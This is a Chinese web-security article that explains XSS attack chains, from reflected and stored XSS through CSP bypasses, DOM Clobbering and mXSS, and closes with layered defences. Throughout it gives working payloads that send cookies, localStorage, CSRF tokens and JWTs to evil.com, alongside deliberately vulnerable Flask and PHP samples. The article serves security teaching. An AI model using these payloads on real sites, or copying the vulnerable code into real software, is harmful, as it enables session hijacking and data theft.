首页 / 文章 / Web安全

XSS深度解剖:从反射型到DOM Clobbering的完整攻击链

一、引言

跨站脚本攻击(Cross-Site Scripting,XSS)常年位居 OWASP Top 10 前列。尽管业界对 XSS 的讨论已有二十余年,但绕过手法持续进化——从最简单的 <script>alert(1)</script> 到利用 DOM Clobbering 配合 CSP 绕过,攻击面远比想象中复杂。本文将从攻击者视角出发,系统梳理 XSS 全攻击链,覆盖反射型、存储型、DOM 型三大基础类型,深入探讨 CSP 绕过、DOM Clobbering、mXSS(突变 XSS)等高级技术,并最终给出分层防御方案。


二、XSS 三大基础类型

2.1 反射型 XSS(Reflected XSS)

反射型 XSS 是最常见的类型,恶意脚本通过 HTTP 请求参数注入,服务端将其直接回显在响应页面中。

典型场景:搜索框输入后,搜索结果页显示"您搜索的关键词:xxx"。

# 存在漏洞的 Flask 代码
from flask import Flask, request

app = Flask(__name__)

@app.route('/search')
def search():
    keyword = request.args.get('q', '')
    # 危险:直接将用户输入拼接到 HTML 中
    return f"<h1>搜索结果:{keyword}</h1>"

# 攻击 Payload:
# /search?q=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

攻击者通常会构造一个短链接或钓鱼邮件诱导受害者点击:

https://target.com/search?q=%3Cscript%3Enew+Image().src%3D%27https%3A%2F%2Fevil.com%2Fc%3F%27%2Bdocument.cookie%3C%2Fscript%3E

2.2 存储型 XSS(Stored XSS)

存储型 XSS 的恶意脚本被持久化到服务端(数据库、文件系统、缓存),每当其他用户访问包含该数据的页面时,脚本即被执行。危害更大,因为无需用户点击特定链接。

<?php
// 存在漏洞的评论功能
$comment = $_POST['comment'];
// 未做任何过滤直接存入数据库
$db->query("INSERT INTO comments (content) VALUES ('$comment')");

// 显示评论时
$result = $db->query("SELECT content FROM comments");
while ($row = $result->fetch_assoc()) {
    // 危险:直接输出
    echo "<div class='comment'>" . $row['content'] . "</div>";
}
?>

攻击者 Payload(存入数据库后,每个访问者都会触发):

<script>
// 窃取敏感信息并伪装正常评论
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://evil.com/collect', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
    cookie: document.cookie,
    localStorage: JSON.stringify(localStorage),
    url: location.href,
    user: document.querySelector('.username')?.innerText
}));
</script>

2.3 DOM 型 XSS(DOM-based XSS)

DOM 型 XSS 完全在客户端发生,恶意数据从未到达服务端,而是通过 JavaScript 操作 DOM 时引入。源代码(服务器返回的 HTML)与页面运行时 DOM 的差异是检测盲区的根源。

// 存在漏洞的前端代码
// URL: https://target.com/profile#<img src=x onerror=alert(1)>

var hash = location.hash.slice(1);
// 危险:使用 innerHTML 直接插入未过滤的 hash
document.getElementById('content').innerHTML = hash;

更隐蔽的 Sink 函数

Sink 类型 示例函数/属性
HTML 执行 innerHTML, outerHTML, insertAdjacentHTML, document.write()
JS 执行 eval(), setTimeout(string), setInterval(string), new Function()
URL 跳转 location.href, location.replace(), window.open()
属性注入 element.src, element.href, element.action

三、CSP 绕过技术深度剖析

内容安全策略(Content Security Policy)是防御 XSS 的核心机制,但配置不当会留下大量绕过空间。

3.1 JSONP 绕过

如果 CSP 允许 script-src 'self' 且目标站点存在 JSONP 端点:

<!-- CSP: script-src 'self' -->
<!-- 目标站自身存在 JSONP 回调接口 /api/jsonp?callback=任意值 -->
<script src="/api/jsonp?callback=alert(document.domain)//"></script>
<!-- 服务端返回: alert(document.domain)//({"data": ...}) → 执行 alert(document.domain) -->

3.2 script-src ‘unsafe-inline’ 滥用

<!-- 当 CSP 允许 'unsafe-inline' 或 nonce 泄露时 -->
<script nonce="泄露的nonce值">
fetch('https://evil.com/' + document.cookie);
</script>

3.3 base-uri 缺失攻击

如果 CSP 未设置 base-uri 指令,攻击者可以注入 <base> 标签劫持相对路径脚本:

<!-- 页面中使用了相对路径加载脚本 -->
<script src="js/app.js"></script>

<!-- 攻击者注入 -->
<base href="https://evil.com/">
<!-- 现在 js/app.js 将从 https://evil.com/js/app.js 加载 -->

3.4 Angular/React 框架绕过

当 CSP 允许 'unsafe-eval' 时,AngularJS 的沙箱逃逸可以绕过:

// AngularJS 沙箱逃逸示例(Angular < 1.6)
{{constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

3.5 CSS 注入 → 数据窃取

即使无法执行 JavaScript,CSS 注入配合 input[value^="s"] 选择器也可逐字符窃取敏感数据:

/* 逐字符窃取 CSRF Token */
input[name="csrf"][value^="a"] { background: url(https://evil.com/collect?char=a); }
input[name="csrf"][value^="b"] { background: url(https://evil.com/collect?char=b); }
input[name="csrf"][value^="c"] { background: url(https://evil.com/collect?char=c); }
/* ... 覆盖所有可能字符 */

四、DOM Clobbering —— 被低估的攻击向量

DOM Clobbering 利用 HTML 元素的 idname 属性覆盖 JavaScript 全局变量,从而操控代码执行流程。

4.1 基本原理

<!-- 页面中存在如下 HTML -->
<form id="config">
  <input name="debug" value="false">
</form>

<script>
// 开发者预期 config 是一个未定义或从服务器获取的对象
if (typeof config === 'undefined') {
    var config = { debug: false };
}
// 但因为有 id="config" 的表单,config 被 DOM Clobbering 覆盖
// config 现在指向 <form id="config"> 这个 DOM 元素
// config.debug 指向 <input name="debug">
// config.debug.value === "false"

// 如果攻击者控制了 HTML...
if (config.debug.value === 'true') {
    // 开发者调试模式,意外启用
    enableDebugMode();
}
</script>

4.2 双层级 Clobbering

<!-- 嵌套利用 -->
<form id="app">
  <input name="settings" value="x">
</form>
<form id="app">
  <input name="settings">
  <input name="isAdmin" value="true">
</form>

<script>
// app.settings.isAdmin.value === "true"
if (app.settings.isAdmin && app.settings.isAdmin.value === "true") {
    grantAdminAccess();  // ✓ 攻击成功
}
</script>

4.3 利用 DOM Clobbering 绕过 HTML Sanitizer

许多 HTML 清理器(如 DOMPurify 的早期版本)允许 idname 属性。攻击者通过精心构造的 HTML:

// 假设网站使用如下逻辑判断是否允许执行特定操作
if (window.allowScriptExecution !== true) {
    console.log("Script execution blocked");
} else {
    eval(userInput);  // 危险!
}

// 攻击者通过评论或富文本注入:
// <a id="allowScriptExecution" href="https://evil.com">click me</a>
// 现在 window.allowScriptExecution 指向 <a> 元素(truthy)
// if(window.allowScriptExecution !== true)  → a 元素 !== true → 条件为 false → 进入 else 分支 → eval 执行!

五、mXSS(突变 XSS)—— 解析器差异的噩梦

mXSS(Mutation XSS)利用浏览器 HTML 解析器与 JavaScript innerHTML 赋值之间的差异。恶意字符串在通过 innerHTML 赋值后,浏览器重新解析(mutate)时产生不同的 DOM 结构。

5.1 经典 mXSS 案例

// 看似无害的 HTML 字符串
const html = '<listing><img src=1 onerror=alert(1)></listing>';
// innerHTML 赋值后,浏览器对 <listing> 的处理方式与最初解析不同
div.innerHTML = html;
// 在某些浏览器中,<listing> 标签会改变解析模式,导致 <img> 被重新解析
// → onerror 执行!

5.2 更复杂的 mXSS 向量

<!-- 利用 <math> 元素和命名空间切换 -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>
<!-- 经过解析器处理后 -->
<!-- <math> 命名空间中 <table> 不合法 → 解析器切换回 HTML 命名空间 → <img> 被重新解析 -->

5.3 防御 mXSS

// 使用 DOMPurify 并启用 mXSS 防护
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirty, {
    // 关键配置
    FORBID_TAGS: ['style', 'math', 'svg'],  // 禁止可能导致命名空间切换的元素
    FORBID_ATTR: ['id', 'name'],            // 阻止 DOM Clobbering
    WHOLE_DOCUMENT: false,
    RETURN_DOM: true,                       // 返回 DOM 而非字符串,避免二次解析
    RETURN_DOM_FRAGMENT: true
});

六、XSS 实战利用链

6.1 组合攻击:XSS → CSRF → 持久化后门

// Step 1: XSS 入口
// 反射型 XSS 在 /profile?bio=<script>...</script>

// Step 2: 利用 XSS 执行 CSRF 修改用户头像为恶意图片
fetch('/api/updateProfile', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
        avatar: 'https://evil.com/malicious.svg',
        bio: '<img src=x onerror="持久化XSS payload">'  // 存储型 XSS 种子
    })
});

// Step 3: 安装 Service Worker 实现持久化
navigator.serviceWorker.register('/sw.js')
    .then(reg => console.log('Service Worker registered - persistence achieved'));

// sw.js 内容 — 拦截所有请求植入后门
self.addEventListener('fetch', event => {
    event.respondWith(
        fetch(event.request).then(response => {
            // 对 HTML 响应注入恶意脚本
            return response;
        })
    );
});

6.2 窃取 JWT Token

// 攻击 Payload
<script>
// 从 localStorage/sessionStorage 窃取 JWT
const token = localStorage.getItem('auth_token') || sessionStorage.getItem('auth_token');
if (token) {
    // 使用导航器发送(绕过 CSP connect-src 限制)
    document.location = 'https://evil.com/steal?token=' + encodeURIComponent(token);
}
</script>

七、分层防御方案

7.1 第一层:输出编码

上下文 编码方式 示例
HTML Body HTML Entity &lt;script&gt;
HTML 属性 HTML Attribute &quot; &#x27;
JavaScript \xHH 六进制 \x3Cscript\x3E
URL URL Encode %3Cscript%3E
CSS \HH 六进制 \3C script\3E
# Python 服务端按上下文编码
from markupsafe import escape

# HTML Body 编码
safe_html = escape(user_input)

# JavaScript 编码(自定义)
import json
safe_js = json.dumps(user_input)  # 自动处理引号、换行等

# URL 编码
from urllib.parse import quote
safe_url = quote(user_input, safe='')

7.2 第二层:CSP 严格配置

Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-{random}' 'strict-dynamic';
  style-src 'self' 'nonce-{random}';
  img-src 'self' https:;
  connect-src 'self';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
  report-uri /csp-report

7.3 第三层:输入验证与清理

// 前端:使用 DOMPurify 清理富文本
import DOMPurify from 'dompurify';

const ALLOWED_TAGS = ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'];
const ALLOWED_ATTR = ['href', 'title', 'target'];

function sanitizeHTML(dirty) {
    return DOMPurify.sanitize(dirty, {
        ALLOWED_TAGS,
        ALLOWED_ATTR,
        ALLOW_DATA_ATTR: false,
        FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed'],
        FORBID_ATTR: ['onerror', 'onload', 'onclick', 'id', 'name']  // 防 DOM Clobbering
    });
}

7.4 第四层:安全开发规范

// ✓ 安全模式
element.textContent = userInput;                    // 永远安全
element.setAttribute('data-value', userInput);      // 安全属性
const script = document.createElement('script');
script.nonce = serverNonce;
script.src = '/static/app.js';                      // 不用 innerHTML 动态生成

// ✗ 危险模式(务必避免)
element.innerHTML = userInput;                      // XSS 敞口
element.insertAdjacentHTML('beforeend', userInput); // XSS 敞口
eval(userInput);                                    // 代码注入
setTimeout(userInput, 1000);                        // 字符串→eval
document.write(userInput);                          // DOM XSS

八、总结

XSS 绝非"输出编码就能解决"的简单问题。从反射型到存储型,从 DOM Clobbering 到 mXSS,攻击面随 Web 技术栈的复杂化而持续扩大。防御 XSS 需要:

  1. 按上下文正确编码——不信任任何用户输入
  2. 部署严格的 CSP——nonce-based + strict-dynamic,禁用 unsafe-inline
  3. 使用经过验证的清理库——DOMPurify 并保持更新
  4. 代码审查——重点排查 innerHTML、eval、document.write 等危险 Sink
  5. 定期安全测试——自动化扫描 + 人工渗透测试

安全的本质不是"找不到漏洞",而是"不能利用漏洞"——纵深防御才是正解。